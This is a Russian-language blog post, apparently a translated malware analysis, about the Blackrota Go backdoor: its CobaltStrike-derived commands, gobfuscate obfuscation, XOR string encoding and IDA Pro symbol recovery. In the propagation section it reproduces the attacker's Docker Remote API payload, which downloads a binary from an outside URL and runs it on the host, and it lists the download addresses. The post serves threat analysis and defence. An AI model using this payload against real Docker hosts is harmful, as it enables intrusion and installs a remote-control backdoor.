Hacking

Бэкдор Blackrota и способы защиты от него

Предисловие

Недавно вредоносный бэкдор Go, который использовал уязвимость несанкционированного доступа в Docker Remote API, был захвачен в Anglerfish Honeypot.Это бэкдор Blackrota.

Мы назвали это вредоносное ПО Blackrota, так как его С2 домен blackrota.ga.

Бэкдор Blackrotа в настоящее время доступен только для Linux в формате ELF и поддерживает архитектуры x86 / x86-64.

Бэкдор Blackrota настроен и скомпилирован с geacon — реализация CobaltStrike Beacon Go, используемая как CobaltStrike Beacon, которая взаимодействует с CobaltStrike для управления зараженным хостом:

Однако, это только реализация некоторых ключевых функций оригинального CobaltStrike Beacon:

  • CMD_SHELL: выполнение Shell комманд,

  • CMD_UPLOAD: загрузка файлов,

  • CMDDOWNLOAD: загрузка специальных файлов,

  • CMD_FILE_ROWSE: просмотр файла,

  • CMD_CD: изменение директории,

  • CMD_SLEEP: установка времени задержки сна,

  • CMD_PWD: возврат текущей директории,

  • CMD_EXIT: выход.

 отличие от оригинального geacon, Blackrota использует gobfuscate — для обфускации исходного кода до момента компиляции. Gobfuscate — это программа с открытым исходным кодом для обфускации Go-кода, который может обфусцировать следующие элементы Go-кода со случайной заменой символов:

  • Имена пакетов;

  • Глобальные переменные;

  • Имена функций;

  • Типы;

  • Имена методов.

Кроме того, gobfuscate заменяет все строки в вашем коде строками, закодированными с помощью XOR, назначая каждой строке функцию декодирования XOR, которая динамически декодирует строки во время выполнения.

Язык программирования Go использует полностью статические ссылки для создания бинарных файлов. В результате весь код, используемый в стандартных и сторонних библиотеках, упакован в очень большие бинарные файлы. Эта функция, с точки зрения обратного анализа, означает, что когда вы открываете двоичный файл Go во время дизассемблирования, вы увидите тысячи или даже десятки тысяч функций. Если эти функции не имеют соответствующей символики, будет сложно провести обратный анализ двоичных файлов Go.

Реверсирование бинарных файлов

Хорошая новость заключается в том, что в Go есть другой механизм: при создании бинарного файла как RTSI (информация о символах времени выполнения), так и RTTI (информация о типах времени выполнения) упаковываются в двоичный файл и не могут быть удалены. В настоящее время почти все специализированные инструменты для реверсирования бинарных файлов Go пытаются извлечь эту информацию из бинарных файлов Go, чтобы помочь процессу анализа. Проекты Go часто импортируют множество сторонних пакетов с открытым исходным кодом. В общем, восстановленные RTSI и RTTI приведут нас к соответствующему пакету с открытым исходным кодом, после чего мы сможем прочитать исходный код сторонних пакетов, что еще больше повысит эффективность дизассемблирования.

Бэкдор Blackrota использует gobfuscate, чтобы скрыть символы и типы, которые являются «life-door» для инструментов дизассемблирования. Символьная информация становится нечитаемой и невозможно понять значение этой информации и ее тип, также невозможно узнать, какие сторонние пакеты были импортированы в проект. Это усложняет процесс дизассемблирования.

Исторически мы видели вредоносное ПО, написанное на Go, которое в лучшем случае удаляло символы во время компиляции, а в худшем — немного сбивало с толку и дизасскмблировалось без особого труда. Blackrota — это новый подход к обфускации и наиболее запутанная вредоносная программа Go в формате ELF, которую мы обнаружили на сегодняшний день.

Анализ

Распространение бэкдора Blackrota

Автор бэкдора Blackrota использует несколько полезных нагрузок для несанкционированного использования удаленного API Docker. Типичная упрощенная полезная нагрузка выглядит следующим образом:

POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}

Blackrota может быть загружена со следующих URL адресов:

https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64

Бэкдор Blackrota

 

Бэкдор Blackrota был написан на языке Go. С помощью нашего go_parser в IDAPro, мы можем сказать, что она была скомпилирована на Go1.15.3, с GOROOT path «/usr/local/Cellar/ go/1.15.3/libexec». В дополнение к этим двум фактам, проанализированные пути к исходным файлам, имена функций, глобальных переменных, типов данных и методов, привязанные к данным, запутаны случайными заменами символов и не читаемы.Мы можем посмотреть пути к исходному файлу, участвующему в проекте (директория с исходным файлом назван случайной строкой)

/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go

Наименование функций в Blackrota

Из вышеизложенных результатов анализа, самой большой проблемой для дизассемблировании является то, что имена функций, типов и методов из исходного кода сторонних пакетов, импортированных из образца бэкдора Blackrota обфусцируются в бессмысленные случайные символы.

Список части функций после анализа:

Объявление обфусцированного типа данных:

В дополнение, все еще существуют имена методов, привязанные к типам данных, которые обфусцированы не полностью:

 

Таким образом, мы можем попытаться восстановить символы функций в образце бэкдора Blackrota, используя следующие шаги:

  1. Скомпилировать двоичный файл geacon с подобной архитектурой процессора как образец Blackrota, без удаления символов,

  2. используя idb2pat.py в IDAPro извлечь шаблон (geacon.pat) geacon-функций,

  3. использовать sigmake из Flair Tools чтобы создать файл подписи для geacon (geacon.sig),

  4. импортировать geacon.sig в образец бэкдора Blackrota в IDAPro, идентифицировать и восстановить символы в функциях.

Прогресс есть! Но радоваться рано, потому что мы обнаружили, что символы в функциях распознаются не полностью и существует около сотни функций, которые не охватываются символами geacon, некоторые из которых распознаются следующим образом:

Строки в Blackrota

В Blackrota анализируется лишь очень небольшое количество строк. Они используются в стандартных пакетах Go. Строки в geacon не анализируются. Проблема заключается в перечисленных выше функциях, которые не поддерживаются geacon.

Итак бэкдор Blackrota XOR кодирует все строки, которые он использует внутри. Так же и динамически декодирует строки во время выполнения, чтобы ссылаться на них. Для каждой строки есть функция декодирования XOR. Gobfuscate генерирует случайный ключ XOR. Он той же длины, что и строка. Вычисляет строку символов и возвращает ее. Разрешенная строка ссылается на родительскую функцию. На рисунке показана одна из ключевых частей функции декодирования XOR 

Если мы хотим декодировать все строки, нам нужно найти каждую функцию кодирования строк. Найти закодированные байты и ключ XOR и разрешить строки с помощью алгоритма XOR. Это увеличит объем работы по дизассемблированию. Поможет программе в некоторой степени избежать автоматического обнаружения продуктов безопасности.

Заключение

Маскированное вредоносное ПО, написанное на Go, встречается редко.Конечно за исключением нескольких простых попыток «белых шляп».  Одна из них — программа-вымогатель, обнаруженная @joakimkennedy. Она скрывает только символы функций в основном пакете:

Эта программа просто запутывает имена нескольких функций.Делает это она в пакете main.Она вряд ли вызовет какие-либо проблемы при дизассемблировании:

Другой — еще один вымогатель EKANS, который использует тот же метод обфускации, что и Blackrota:

Метод обфускации, используемый во вредоносных программах Blackrota и EKANS, создает новые вызовы / проблемы дизассемблирования. Язык Go становится все более популярным. В будущем в Go будет создаваться все больше и больше вредоносных программ. Мы будем следить за тем, что происходит.

 

Click to rate this post!
[Total: 0 Average: 0]
faza

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

12 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

1 год ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

1 год ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

1 год ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

1 год ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

1 год ago